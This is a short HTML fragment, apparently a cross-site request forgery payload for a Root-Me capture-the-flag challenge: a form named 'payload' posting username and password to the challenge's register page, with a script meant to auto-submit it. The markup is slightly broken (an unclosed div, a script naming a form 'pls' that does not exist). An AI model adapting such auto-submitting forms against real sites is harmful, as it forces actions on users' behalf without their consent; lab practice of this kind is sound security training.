<form id="payload" action="http://challenge01.root-me.org/realiste/ch16/index.php?page=registe\
r.php" method="post">
  <div class="form-group">
    <label>Username:</label>
    <input type="username" class="form-control" name="username" placeholder="Username" />
  </div>
  <div class="form-group"
    <label>Password:</label>
    <input type="password" class="form-control" name="password" placeholder="Password" />
  </div>
  <button type="submit" class="btn btn-default">Submit</button>
</form>
<script language="javascript">document.pls.submit();</script>